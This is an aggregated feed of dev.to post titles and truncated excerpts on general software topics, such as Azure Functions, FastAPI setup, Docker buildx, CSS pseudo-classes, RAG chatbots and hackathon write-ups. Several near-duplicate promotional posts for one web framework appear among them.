    In software architecture, Push and Pull models define how data flows between a producer (like a server) and a consumer (like a client). While both are valid, choosing the right one can significantly impact user experience, system performance, and scalability. In a Push model, the server initiates the communication. It sends (or "pushes") data to the client whenever something new happens. The client doesn’t have to ask—it just gets notified. Low latency Real-time experience Efficient for frequent updates More complex to implement Harder to scale with many clients 🧠 Examples: WebSockets, Firebase Realtime Database, Server-Sent Events In a Pull model, the client initiates the communication. It regularly or occasionally requests data from the server, asking, “Do you have anything new?” Simple…  ( 4 min )
    Azure Functions with Java
    ☁️ Azure Functions with Java: When to Use, Pros, Limitations, and Triggers Start your journey into the serverless universe by understanding what Azure Functions are, why and when to use them, the available triggers, pros, limitations, and how they fit into modern Java-based cloud architectures. Azure Functions is Microsoft’s implementation of serverless computing, allowing you to run small blocks of code — called functions — without managing servers. You write the code, define a trigger (an event that invokes the function), and Azure takes care of the rest: Auto-scaling Managed infrastructure Global availability Pay-per-execution billing An Azure Function is activated by events (HTTP request, timer, queue message, etc). It’s ideal for small and isolated operations like: Processing files…  ( 5 min )
    Revolutionary Performance Breakthrough in Modern Web Development(6840)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a junior computer science student diving deep into web development, I've spent countless hours exploring different frameworks and their performance characteristics. My journey led me to discover something remarkable that completely changed my perspective on what modern web servers can achieve. During my recent internship at a tech startup, our team faced a critical challenge. Our existing Node.js backend was struggling under heavy load, with response times climbing above acceptable thresholds. The senior developers were debating between migrating to Go with Gin framework or sticking with more familiar territory. That's when I stumbled upon something that would revolutionize our approach entirely. My exploration began with a simple …  ( 5 min )
    How to Fix “Python Was Not Found” Error on Windows: Disable App Execution Aliases
    If you’ve just installed Python on Windows and when trying to run python from the Command Prompt you see this message: "Python was not found; run without arguments to install from the Microsoft Store, or disable this shortcut from Settings > Apps > Advanced app settings > App execution aliases." Don’t worry This is a common problem caused by Windows redirecting your Python commands to the Microsoft Store. In this post, I’ll walk you through the exact steps to fix it, so you can start coding right away. What Causes This Issue? Windows 10 and 11 have a feature called App Execution Aliases that adds shortcuts for certain apps, including Python. If Python isn’t properly installed or the PATH isn’t set, Windows tries to redirect your command to the Store to download Python. This causes confusion because even if you installed Python manually, typing python will still bring up this message. Step-by-Step Fix: Disable Python App Execution Aliases Step 1: Open Windows Settings Press Win + I on your keyboard This opens the Settings window Step 2: Navigate to App Execution Aliases In Settings, click on Apps Then click on Advanced app settings (or search for “App execution aliases” in the Settings search bar) Scroll through the list until you find: python.exe python3.exe Step 3: Disable the Aliases Step 4: Verify the Fix Bonus Tips If you don’t see Python in your PATH, you can manually add it by editing your environment variables. Use python -m pip instead of just pip to ensure you’re using the correct pip for your Python version. Summary Disabling the Windows App Execution Aliases for Python is a quick and effective fix for the “Python was not found” error. Once disabled, Windows stops redirecting your commands to the Microsoft Store, and you can run Python smoothly from the terminal.  ( 4 min )
    Your First Day of System Design Looks Like....
    Your University Website Will Never Go Down Again — Beginner Friendly System Design Let’s create a very simple and absolute beginner-friendly system design for our university website. On usual days when no results are declared, no announcements are made, and no admit cards are released, the traffic on the website is very normal. In an ideal case, let's start from a very simple design — no load balancer, no auto-scaling, none of those typical complex components. Server: This can be any highly configured machine that is up and running 24/7. Technically, your personal laptop can also act as a server — but obviously, no one wants that. DNS (Domain Name System): It’s a global directory that maps domain names to IP addresses. You pay for that public IP. At the time of result declaration or admit card release, traffic increases drastically. The same server configuration cannot handle the sudden surge in requests. The result? The application faces downtime or crashes. So, what can we do? We can increase the configuration of the server from: 4 CPUs → 8 CPUs 64 GB RAM → 128 GB RAM This is called Vertical Scaling, which means increasing the power of the existing machine. We cannot increase the configuration of a running server. First, we need to stop the server, upgrade it, and then start it again — which causes downtime. It’s not recommended for high-availability applications. So, what else can we do? We can use Horizontal Scaling, where we replicate the resources — basically, we add new servers instead of upgrading the existing one. A new IP will be assigned to each new server. But, all requests will still go to the original server unless we have a way to distribute traffic. Any idea how to solve that? Well, this is what I’ll discuss in the next design! 🚀 Stay tuned for the next part where we’ll talk about load balancers, traffic distribution, and more smart strategies to handle peak-time traffic without breaking the system! ✍️ Author: Omkar Sharma 📬 Feel free to connect on LinkedIn or explore more on GitHub  ( 4 min )
    WebSocket Revolution in Real-Time Communication(2329)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into real-time web communication began during a hackathon where our team needed to build a collaborative document editor. Traditional HTTP polling felt clunky and inefficient, leading me to explore WebSocket technology. What I discovered was a framework implementation that not only simplified WebSocket development but delivered performance characteristics that completely changed my understanding of real-time web applications. The breakthrough moment came when I realized that most WebSocket implementations add unnecessary complexity to what should be a straightforward communication protocol. My exploration revealed a framework that treats WebSocket as a natural extension of HTTP, enabling seamless real-time communication wit…  ( 8 min )
    So I Quit $200k Job To Write A Framework
    This may sound like the worst idea ever. But I think there is no better time than now. Despite new frameworks popping every week, devs' burnout keeps escalating; the ecosystem is bursting at the seams, and Vercel monopoly gives billing nightmares. For my solution to succeed, it just needs to be: Composable components, shared and local state, reactivity. Natural SSR (not by running front-end code on the server), fast loading, functional href, real FormData, and execution transparency (that was lost). Static endpoints only for serving files and pages. Everything else — wrapped and secured by framework. Not required to write/run, but not rejected if integration is needed. Keep business logic-related stuff on the server and user-related stuff in the browser. Batteries included, a $20/mont…  ( 8 min )
    Rethinking UI in Agent Driven Systems
    Chat interfaces have surged in popularity, becoming a common entry point to intelligent systems. But while text excels at expressiveness and simplicity, it's often limiting for structured interactions. Booking a meeting, selecting options, or reviewing results all demand more than just words. The immediate solution that comes to mind is to render traditional user interfaces (components) inside the agentic system, but what does that look like in practice? What are the viable strategies for embedding UI into chat-driven workflows? And even better: should you be embedding UI at all? If so, will these new approaches eventually replace traditional interfaces, or simply augment them? In this article, we are going to look at the three emerging strategies for returning UI from agents: First-party …  ( 8 min )
    AI Agents: From Tools to Teammates
    Artificial intelligence (AI) is not a far-fetched concept - it is a network of intelligent agents that have been built into our daily routines and business procedures. These agents perceive, reason, and act to resolve issues on our behalf. Some work in the background, making quick safety decisions on factory floors. Others adjust throughout time, predicting our demands at home and at work. Understanding how these agencies work and the measures they take may inspire ideas for how your own sector can benefit. Let’s Explore eleven categories of AI agents, examples of their specific action steps, and real-world examples to see how they might benefit your organization, whether in healthcare, logistics, retail, or plumbing. 1. Simple Reflex Agents: The Instant Reactors What they do: React the m…  ( 8 min )
    How I Built a Global NGO Website on AWS S3 for Pennies – A Practical Step-by-Step Guide
    Introduction: Reaching the World Without Breaking the Bank For nonprofits and small NGOs, visibility is crucial — but budgets are often tight. Many lack the technical team or resources to launch a proper website, let alone maintain servers or pay monthly hosting bills. In this guide, I’ll walk you through how I built and deployed a global static website for a nonprofit organization using Amazon S3 — without a single line of backend code, and for just pennies a month. It's fast, reliable, scalable, and beginner-friendly. You’ll see every step, with screenshots and notes based on real implementation. What You’ll Learn Creating and configuring an S3 bucket Uploading and serving static files Enabling public access securely Activating static website hosting Managing file versioning for safe upd…  ( 6 min )
    Why I Built My Own Markup Language for AI-Powered Video Editing
    Building a Custom Video Editing Backend with LLMs and Declarative Composition I’ve been exploring how large language models (LLMs) can be used to automate video editing. At first, I thought the process would be relatively straightforward: describe the edit in natural language, have the LLM translate that into actions, and render the result. Initially, I tried using FFmpeg with LLMs to handle basic video operations like trimming and transitions. But it didn’t work well. The generated code was brittle, and FFmpeg’s syntax is not easy for LLMs to handle reliably, even with refined prompts. To solve this, I created a custom markup system called Swimlane Markup Language (SWML) — a JSON-style declarative format that describes the video structure. It allows LLMs to express compositions in a for…  ( 4 min )
    Resource Management and Memory Efficiency in Web Servers(7195)
    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into resource management began during a production incident where our web server's memory usage spiraled out of control, eventually consuming all available system memory and crashing. Traditional garbage collection approaches couldn't keep up with our allocation rate, and manual memory management seemed too complex for a web application. This crisis led me to explore resource management strategies that could deliver both performance and reliability. The breakthrough insight came when I realized that effective resource management isn't just about memory allocation—it's about designing systems that use resources predictably and efficiently throughout their lifecycle. My research revealed a framework that implements sophisti…  ( 11 min )
    Understanding Naïve Bayes Classifier Using R
    The Best Algorithms are the Simplest library(e1071) data(“Titanic”) Titanic_df=as.data.frame(Titanic) We see that there are 32 observations which represent all possible combinations of Class, Sex, Age and Survived with their frequency. Since it is summarised, this table is not suitable for modelling purposes. We need to expand the table into individual rows. Let’s create a repeating sequence of rows based on the frequencies in the table repeating_sequence=rep.int(seq_len(nrow(Titanic_df)), Titanic_df$Freq) #This will repeat each combination equal to the frequency of each combination Titanic_dataset=Titanic_df[repeating_sequence,] Titanic_dataset$Freq=NULL The data is now ready for Naive Bayes to process. Let’s fit the model Naive_Bayes_Model=naiveBayes(Survived ~., data=Titanic_dataset) Na…  ( 11 min )
    From Vision to Interaction: A Workplace Dashboard That Works
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space As part of a hands-on challenge, I built a fully interactive, responsive company dashboard from scratch. Designed for TechFlow Innovations, this dashboard acts as a central hub for company updates, team recognition, real-time metrics, events, and tools—all wrapped in a modern, accessible UI. This journey helped me sharpen my front-end, UI/UX, and interactive JavaScript skills while following industry best practices. 🔗 Demo Link: TechFlow Innovations  📄 GitHub Link: TechFlow Innovations TechFlow Dashboard This dashboard wasn’t just a visual project — it combined HTML, CSS, and JavaScript with a modular architecture to handle dynamic content and UI responsiveness. Below is a quic…  ( 4 min )
    Ultimate Guide to CSS Pseudo-Classes and Pseudo-Elements
    Pseudo-classes (:pseudo-class) and pseudo-elements (::pseudo-element) are powerful CSS tools that allow you to style elements based on their state or position in the DOM. This comprehensive guide covers all major pseudo-classes and pseudo-elements with practical examples and explanations. 1. Pseudo-Classes Pseudo-classes select elements in specific states. 1.1. Link and Interaction States Pseudo-Class Example Description :link a:link { color: blue; } Unvisited links :visited a:visited { color: purple; } Visited links :hover button:hover { background: #eee; } Element on mouse hover :active a:active { color: red; } Element being clicked :focus input:focus { border-color: blue; } Focused form element 1.2. Form States Pseudo-Class Example Description :checked input:c…  ( 4 min )
    Simplify Your .NET Codebase: A Guide to Code Metrics and Controller Refactoring
    Have you ever opened an API controller and thought, “Whoa, this looks like spaghetti”? If you’re working with legacy .NET projects or scaling up a growing codebase, complexity can creep in quickly. That’s where Visual Studio’s Code Metrics come to the rescue. In this post, I’ll walk you through: What each code metric means How to use them to identify messy code A real-life example of refactoring a bloated API controller A checklist to guide your review process Let’s dive in! Code metrics help quantify how maintainable, complex, and testable your code is. Visual Studio provides these metrics via: Analyze → Analyze Code Metrics Here’s what each metric means and why it matters: Maintainability Index (MI) Definition: A numeric score (0–100) indicating how easy it is to maintain a code…  ( 5 min )
    Best AI Tools That Apply to Jobs for You in 2025
    The job market in 2025 is evolving at an unprecedented pace, with Artificial Intelligence (AI) at the forefront of this transformation. What was once a futuristic concept is now an indispensable asset for job seekers aiming to gain a competitive edge. From optimizing your resume to acing your interviews, AI-powered job automation tools are here to streamline your job search process and elevate your career prospects. This comprehensive guide will walk you through the top AI tools that are set to revolutionize how you find and secure your dream job in 2025. We'll explore how these intelligent assistants can help you navigate the complexities of modern recruitment, emphasizing AI job automation tools that boost efficiency and effectiveness. AI is no longer just for tech giants. Its capabiliti…  ( 6 min )
    [Boost]
    From DevOps to MLOps: A Practical Guide to Shifting Your Career binyam ・ Jul 24 #mlops #devops #ai #machinelearning  ( 2 min )
    Why Was My Localhost SSH Taking 3 Seconds? A Deep Dive.
    It was one of those moments for me when a simple task gets you into a 4-hour rabbit hole that teaches you more than months of reading. I was just trying to SSH into my own machine (yep, localhost), and suddenly, ofc nothing worked right. When a Simple Task Goes Wrong   # From inside the container, tunnel to host services ssh -L 5432:localhost:5432 user@host.docker.internal Before involving the container, I wanted to test the connection on my host machine first. A simple SSH to myself should happen quickly, right? ssh shivam@localhost It worked, but it felt slow. Really slow. An instant connection took several seconds. If my containers were going to use this for database connections, that lag would hurt performance. Something was off, and I needed to find out why. **Step 1: Checking the B…  ( 6 min )
    Unify Your GenAI Arsenal: Deploying Bedrock, Gemini, and More with LiteLLM
    The world of generative AI is expanding at an incredible pace. Developers now have access to a powerful array of Large Language Models (LLMs) from providers like OpenAI, Google (Gemini), Anthropic (Claude), and a vast collection available through services like AWS Bedrock and Hugging Face. While this choice is empowering, it introduces a significant challenge for engineering teams: each model comes with its own unique API, SDK, and authentication mechanism. Managing this complexity can lead to a fragmented codebase, vendor lock-in, and operational headaches. What if you could interact with all of these models through a single, consistent interface? Enter LiteLLM, the open-source library designed to be the Swiss Army knife for GenAI deployment. It provides a universal translation layer, all…  ( 5 min )
    trap for beginners in C++
    Following one of C++ course I found one interesting example how to correctly use combination std::cin together with std::getline(). What do you think the output will be ? To avoid this strange behaviour always use std::cin.get() before std::cin and std::getline() like on the code snippet below: Now you will get correct output. Be careful and happy coding!  ( 3 min )
    D4
    Of course. The screenshot shows a cascade of compilation errors all originating from a build path or dependency issue. The IDE can't find your own custom classes like CifnLayoutRecord and LoggingUtil. Here is the complete, corrected code for DemographicSubscriberService.java. The fixes include: Adding Correct Imports: Placed all the necessary import statements at the top, which will resolve the "Cannot resolve symbol" errors. Handling Nulls: Added a null check after attempting to parse the record, as hinted by the "Value 'cifnLayoutRecord' is always 'null'" warning. Handling Exceptions: Wrapped the calls to maskJson in a try-catch block to handle the JsonProcessingException. Correcting Method Calls: Ensured the method calls to the transformers and Kafka service are correct now that the…  ( 4 min )
    Just finished writing my project for AssemblyAI Challenge.
    A post by Pravesh Sudha  ( 3 min )
    How I Built a Simple Shell in C – A Beginner's Guide to System Programming (3/3)
    Part 3: Executing Commands in a Custom Shell (C Programming) In this final part of my custom shell project, we’ll explore how to execute user commands after they’ve been parsed. At this point, the user input has been successfully split into arguments — now it’s time to take action! 💥 execute_command Function The core function here is: void execute_command(char **args, int argc, Command *command, int command_count) ✅ Matches user input with a predefined command Let’s break it down 👇 for (int i = 0; i < command_count; i++) { if (strcmp(args[0], command[i].name) == 0) { command[i].action(args, argc); return; } } printf("Unknown commnad: %s\n", args[0]); Command Matching: The shell loops through an array of Command structs and compares the input with registe…  ( 5 min )
    FSCSS @random method Guide
    FSCSS @random Method The @random method in FSCSS (Figured Shorthand Cascading Style Sheet) provides a robust mechanism for applying randomized values to CSS properties, enabling dynamic and varied styling that refreshes on each page load. By selecting a single value from a provided array (e.g., colors, numbers, or units) at render time, @random facilitates the creation of visually diverse UI elements without requiring JavaScript or manual intervention. When used in conjunction with the @arr FSCSS array utility, @random streamlines the process of defining and reusing arrays of values, enhancing code efficiency and maintainability. This combination allows developers to manage randomized styles with precision and minimal effort. Below is an example of FSCSS code leveraging @random and @arr:…  ( 4 min )
    Revolutionary Performance Breakthrough in Modern Web Development(9171)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a junior computer science student diving deep into web development, I've spent countless hours exploring different frameworks and their performance characteristics. My journey led me to discover something remarkable that completely changed my perspective on what modern web servers can achieve. During my recent internship at a tech startup, our team faced a critical challenge. Our existing Node.js backend was struggling under heavy load, with response times climbing above acceptable thresholds. The senior developers were debating between migrating to Go with Gin framework or sticking with more familiar territory. That's when I stumbled upon something that would revolutionize our approach entirely. My exploration began with a simple …  ( 5 min )
    Making Pong in x86 Assembly
    Introduction 📘 So many developers won't have even touched assembly language let alone decide to write a whole program in it. This is understandable, reasons to write assembly are few and far between. However the knowledge you gain from doing as such can help build a deeper understanding of how computers function helping you write better more efficient code even in other programming languages. So to start off lets take a look at what "x86 Assembly" actually means. Assembly code is device specific meaning code that runs one one machine might not work on another. This is because CPUs can have different architecture and therefore expect different instructions. Each architecture will have a certain set of instructions that the CPU is designed to use. Here we are using the x86 architecture w…  ( 12 min )
    Create AWS Diagrams with Python and Q in the CLI
    You can utilize Amazon Q Developer in the CLI to create your AWS Diagram from your Terraform code. This is how I made my first Diagrams with Code with the help of Amazon Q. Just a quick note: This is not a “AI can create everything for me and I don’t need to know anything” blog. I used AI to help me create some diagrams and it was so convenient that I wanted to share the process. The last part I always have to do after creating a Terraform module for AWS is to spend some time in draw.io to create a diagram of the AWS resources and their connections within the module for the documentation. Later, when I have to make a change to the module, I need to find the source document for the diagram to be able to update it. And this is not a good way to keep the documentation in the code. I have read…  ( 7 min )
    Claude Code Tip: Game changer: Ask Claude Code ...
    Game changer: Ask Claude Code to "write tests for this function including edge cases". Got 20 test cases I never would have thought of. What's your favorite Claude Code tip? claudecode #ai #productivity  ( 3 min )
    Mastering RESTful API Integration: Your Guide to Seamless Connections
    Integrating with RESTful APIs is a fundamental skill for modern developers. Whether you're pulling data from a third-party service, connecting your frontend to a backend, or building microservices, understanding how to interact with REST APIs efficiently and robustly is key. In this post, we'll dive into the essentials of RESTful API integration, covering best practices, common challenges, and practical tips to make your integration journey smoother. What Makes an API RESTful? A Quick Recap Client-Server Architecture: Separation of concerns between the client and the server. Statelessness: Each request from client to server must contain all the information necessary to understand the request. The server should not store any client context between requests. Cacheability: Responses can be ca…  ( 6 min )
    Multi-Modal Content Processing with strands agent and FAISS Memory
    🇻🇪🇨🇱 Dev.to Linkedin GitHub Twitter Instagram Youtube Linktr Elizabeth Fuentes LFollow AWS Developer Advocate GitHub repositorie: Strands Agent Samples In our Multi-Modal Content Processing with Strands Agent and just a few lines of code, we explored how to build a multi-modal AI agent capable of processing images, documents, and videos using the Strands Agent framework. Today, we're taking it a step further by adding persistent memory capabilities using FAISS (Facebook AI Similarity Search) to create an agent that can remember and recall information across sessions. Contextual conversations: "Remember that architecture diagram I showed you yesterday? How does it relate to this new document?" Progressive learning: Building knowledge over time from multiple interactions Perso…  ( 6 min )
    Benefits and pitfalls of Vibe coding: navigating the AI-assisted era
    A candid reflection on how AI coding assistants are reshaping the development landscape—and what we might be losing in the process. Over the course of the last year, I've become deeply embedded in the AI-assisted coding ecosystem. I use Perplexity, Claude, Chat GPT, Cursor, GitHub Copilot all on a daily basis, in fact I just wrote a synopsis of this article and gave it to Claude for refinement, but then I had to rewrite and refine it myself, much like my experience with coding with these helpers and ended up doubling my work. So here’s a short account of my experience. Initially, I approached AI assistants as tools for specific pain points. I'd offload those cumbersome code snippets that would otherwise consume disproportionate amounts of my time. But the more I used these tools, the less…  ( 5 min )
    We tried to make a silly goose famous and fought bolt in the process
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. Okay, so here’s the story. We thought: When we first thought of the word silly, we automatically added the word goose to it. We also loved the idea of an idle game that doesn't take itself too seriously but still builds on the idea of becoming a TikTok famous goose. Idle games are something that can draw everyone in and make them feel like they are part of something bigger. Not some deep, soul-searching narrative, just a goose, vibing, gaining clout, and maybe sabotaging a few fellow geese along the way. Naturally, we called it Silly Goose Aura. It started as a joke. But then we started building, and things got serious. And by serious, I mean “multiple repos and 36 million tokens later, I might ac…  ( 6 min )
    Inheritance in C#
    Inheritance It is a way to pass the properties and functionality of the parent to the child is called as inheritance. It helps us achieve code re-usability. NOTE:- Without a constructor, we can not achieve inheritance because with the help of the parent instance, we can access the parent properties and functionalities. Types of inheritance- Single Multi-level Hierarchical Hybrid Multiple(We can achieve with Interface in C#) In this inheritance, one parent class has only one child class. In this inheritance, the chaining of the parent and child classes occurs. In this inheritance, one parent class has two or more child classes. This is a combination of two or more types of inheritance. C# does not support multiple inheritance of classes (a class cannot directly inherit from two or more classes). However, it achieves a form of multiple inheritance through interfaces NOTE:- We will discuss the Interface in another post. Link:- Coming soon... or check my profile.  ( 3 min )
    TechEd: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. TechEd - Empowering Students with Future-Ready Tech Skills. Bridging Classrooms to Code. Tech Skills Today, Innovation Tomorrow. Inspiring the Next Generation of Tech Leaders. Where Education Meets Innovation. Team Members: Livinus Gift Project URL: https://devpost.com/software/teched-1iqnlw Our experience building TechEd during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code su…  ( 4 min )
    HomeWhisper: After the Hack – From Concept to Connected Living
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. What began as a hackathon sprint evolved into a long-term journey toward intelligent living. HomeWhisper, our AI-powered smart home dashboard, was built to unify fragmented IoT experiences — and in doing so, it unified our team’s vision around creating technology that feels personal, adaptive, and almost invisible. But the story didn’t end when the hackathon timer stopped. In many ways, it was just beginning. Hackathons stretch you — but after the hack is when the real transformation happens. I (@aniruddhaadak) dove deeper into UX for AI interfaces, learning how to guide users across multimodal experiences (voice + gesture). We weren’t just building features. We were becoming better designers, collabo…  ( 5 min )
    Designing Effective APIs: A Comprehensive Guide day 14 of learning system Design
    An Application Programming Interface (API) is a critical component in modern software development, acting as a bridge that allows different systems or components to communicate seamlessly. APIs define how requests and responses should be structured, enabling developers to interact with a system without needing to understand its internal workings. In this article, we'll explore what an API is, key principles for designing effective APIs, and best practices to ensure they are robust, scalable, and user-friendly. We'll also include flowcharts to illustrate the API design process and interaction flow. What is an API? 1. Parameters: The inputs the API expects (e.g., query parameters, headers, or body data). 2. Responses: The data the API returns, typically in formats like JSON or XML. 3. Errors…  ( 6 min )
    Surfing the Web Like It's 1992 (Lynx Browser)
    In an age where web browsers are practically mini operating systems, complete with GPU acceleration, sandboxed processes, and memory footprints that rival AAA games, there's something refreshing about using a browser that simply displays content. Enter Lynx, a text-based browser that's been quietly doing its job since 1992. No tabs, no ads, no JavaScript... no nonsense. It feels genuinely nostalgic to use. Plus, there's a certain charm in telling people you browse the web from the terminal. Lynx is a terminal-based web browser that runs in plaintext environments. It supports browsing over HTTP, HTTPS, FTP, and, yes, even Gopher. Designed originally at the University of Kansas, Lynx predates many of the web's now-essential features. For example: It doesn't support JavaScript. It doesn't r…  ( 7 min )
    Choosing the right .NET image for your workloads
    Originally posted on https://medium.com/c-sharp-programming/all-the-net-core-opsy-things-37b2e21eabb4 This guide began as a conversation between me and someone exploring how to containerize .NET apps. The same questions kept coming up; from new developers to infrastructure and DevOps engineers and I kept pointing people to the docs. I decided to turn it into a practical walk through and post it here for anyone who finds it useful. When you pull an image from mcr.microsoft.com/dotnet/*, you're getting more than a runtime; you're pulling from a carefully layered set of container images, each designed to be lightweight, secure, and purpose-built. Understanding these layers makes it easier to troubleshoot, secure, optimize performance, and pick the right image for your use case. Imag…  ( 6 min )
    Context Management and Request Lifecycle Optimization(5690)
    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management patter…  ( 9 min )
    How I Built a Self-Updating AI Sales Agent for Using Perplexity Public Rooms
    Imagine having a 24/7 AI-powered sales rep who knows everything about your company, reads your case studies, and qualifies leads — all without needing to train a custom chatbot or build a workflow from scratch. That’s exactly what we created at Scalevise using Perplexity Public Rooms and it’s already reshaping how we pitch and engage with prospects. Here’s how it works, what we learned, and how you can try it today. ⚡️ TL;DR: You can try our fully autonomous AI Sales Agent right now — no sign-up, no hassle. It reads our case studies, understands our services, and helps you find the right solution. 👉 See the Scalevise AI Sales Agent in action on Perplexity Perplexity recently launched Public Rooms, a feature that allows anyone to create a persistent, shared space powered by an AI assistan…  ( 5 min )
    Understanding Docker Buildx & Builder: Modern Docker Builds with BuildKit
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. With modern Docker tooling, docker buildx is the preferred way to unlock advanced build features powered by BuildKit. If you're still relying on classic docker build, you're missing out on faster builds, better caching, and powerful features like multi-arch images and inline secrets. Let's break it down. docker buildx? docker buildx is a CLI plugin that extends the docker build command with BuildKit, a modern builder engine developed by Docker. It gives you access to: Faster builds Layer caching Parallelization Multi-platform suppo…  ( 4 min )
    New Project
    RAG Chatbot - MoviesGPT Harith Y ・ Jul 24 #rag #ai #chatbot #llm  ( 2 min )
    RAG Chatbot - MoviesGPT
    What is RAG? Retrieval-Augmented Generation or RAG is when you change the output of a Large Language Model (LLM) by providing the model more context alongside a user’s input. That way, the model can use its ability to generate text along with extra context to provide accurate answers to users’ questions Cost Effective Models have cut-off dates, after which knowledge isn’t updated. Covers up for information that does not exist A popular technique to represent information in a format that algorithms, especially deep learning models, can easily process. This ‘information’ can be text, pictures, video or audio. The project uses Puppeteer (via LangChain) to scrape Wikipedia pages containing lists of movies in various Indian languages for the year 2025. Each Wikipedia page’s content is fetched…  ( 4 min )
    Get started on building AI Automations in Salesforce with Agentforce
    Supercharge Your Recruiters: Building AI-Powered Automation in Salesforce with Agentforce Hemant Jawale ・ Jul 22 #ai #saas #agentforce #salesforce  ( 2 min )
    Design Philosophy of Zero-Dependency Web Framework(2786)
    GitHub Homepage During my junior year studies, I have encountered many different web frameworks, from Spring Boot's "convention over configuration" to Django's "batteries included." Each framework has its unique design philosophy. Recently, I discovered an impressive web framework that adopts a completely different design philosophy—zero-dependency design. This minimalist design philosophy made me reconsider the essence of software architecture. In my previous project experience, dependency management has always been a headache. Taking a typical Spring Boot project as an example, even the simplest "Hello World" application requires introducing numerous dependencies. org.springframework…  ( 8 min )
    New project
    I built a Supercharged PDFs-ChatBot with LangChain and Streamlit, and you can too! Harith Y ・ Jul 24 #langchain #streamlit #ai #chatbot  ( 2 min )
    🚀 Step-by-Step: Setup + GET Method in FastAPI
    🚀 Step-by-Step: Setup + GET Method in FastAPI 🧪 1. Set up Virtual Environment (Windows/Linux/Mac) # Install virtualenv (if not already installed) pip install virtualenv # Create virtual environment virtualenv venv # Activate virtual environment # Windows venv\Scripts\activate # macOS/Linux source venv/bin/activate pip install fastapi uvicorn fastapi_project/ │ ├── main.py ├── requirements.txt └── venv/ Save dependencies for later: pip freeze > requirements.txt main.py with GET Methods ✅ Using Path Parameters, Predefined Values, and Query Parameters from fastapi import FastAPI, Query from typing import Optional from enum import Enum app = FastAPI() # 🧩 Predefined Path Parameter using Enum class ModelName(str, Enum): alexnet = "alexnet" …  ( 8 min )
    Using MCP Inspector to Test Tools, Prompts, and Resources
    MCP Inspector provides a clear UI to view and interact with the server's available tools, prompts, and resources. Unlike generic API testing platforms, it is tailored to the Model Context Protocol (MCP), offering native support for inspecting each part of the protocol. This article outlines the key interface features and explains how they work internally. The Inspector communicates with our MCP server over a WebSocket proxy, which wraps the low-level transport (like stdio or streamable-http) into a live browser-based session. As we interact with the UI, it sends JSON-RPC messages to the server based on our actions and displays the responses in real time. Tools tab uses schema from the server manifest to generate parameter input fields. When a tool is run, Inspector constructs a tool-use JS…  ( 5 min )
    I built a Supercharged PDFs-ChatBot with LangChain and Streamlit, and you can too!
    A step-by-step journey into building a flexible, multi-provider RAG application that lets you talk to your documents. We’ve all been there: staring at a 100-page PDF, knowing the answer to our question is buried somewhere inside. Skimming through dense academic papers, legal documents, or technical manuals is a tedious process. What if you could just… ask the document a question and get a straight answer instead of doing Ctrl+F multiple times? That’s exactly what I set out to build: an interactive chatbot that ingests any PDF (not 1 but many hehe) and allows you to have a natural conversation with it. In this post, I’ll walk you through how I built this PDFs-ChatBot using the power of Streamlit for the UI and LangChain for the AI orchestration. More importantly, I’ll show you how I designe…  ( 5 min )
    CSS Art: Severance Office
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. I started watching the show Severance (no spoilers, please!) and the office arrangement caught my attention. So I decided to replicate the desks using HTML and 3D CSS. It may not be the best office culture example, but it's an office and it's pop culture... so it counts as office culture? 😅 Journey I started by defining a generic "cube" figure with two components. Setting some custom properties for width, height, and depth, so I'd be able to customize it quickly and generate fast rectangular/cubic shapes. One thing I realized (a bit late), the way I did the rotations for the cube, in some cases the front is visible and in others it is the back (so the panel looks flipped…  ( 4 min )
    A Practical FinOps Pipeline for Azure SQL: From Azure CLI to Power BI Without Log Analytics
    Azure SQL Metrics Export – A FinOps Pipeline Without Log Analytics As a FinOps consultant working with mid-sized and large organizations, I often land in complex environments where access to production systems, logs, or advanced monitoring tools is limited ; especially for external contractors. Despite that, I’m expected to produce actionable insights fast. This article explains how I built a self-contained metrics pipeline — using only Azure CLI and Python ; to collect, transform, and prepare Azure SQL performance data for analysis, without relying on premium monitoring features or costly third-party tools. This method is part of a broader effort to evaluate whether DTU-based databases could be migrated to more cost-effective vCore serverless models : a scenario many organizations face …  ( 7 min )
    What are Your Daily Driver Apps??
    So Gemini has a feature to use the search history of the user for context. I never thought how I could use it, until now. This post has given me a reason to try out that feature. Considering the last 30 days, I've been pretty using the same apps/software for developing applications. Despite the advances that the competitors make, the tools I use are pretty much comparable to the competition and I don't notice a performance difference. I just use them since I am used to them. Gemini ChatGPT Ideogram Higgsfield Gemini CLI Higgsfield Bolt.new VS Code Google AI Studio  ( 3 min )
    Forked by Cursor: The Hidden Cost of VS Code Fragmentation
    It's the story of the year in developer tooling. Visual Studio Code, the open-source editor that became a unifying force for millions of developers, is now the foundation for a new, revolutionary wave of AI-powered tools. At the forefront is Cursor, a VS Code fork that has taken the world by storm with its promise of a faster, smarter, AI-first workflow. It's a tantalizing glimpse into the future of coding. But for every developer celebrating this new era, there's another who feels the growing pains. The very ecosystem that made VS Code a beloved and reliable standard is now fracturing, leaving developers caught between a familiar present and a promising but chaotic future. This isn't just a story about competing tools; it's about the difficult, necessary, and often messy process of progre…  ( 7 min )
    We’re live on Product Hunt today! Support us here https://www.producthunt.com/products/microtica-ai-agents-for-devops
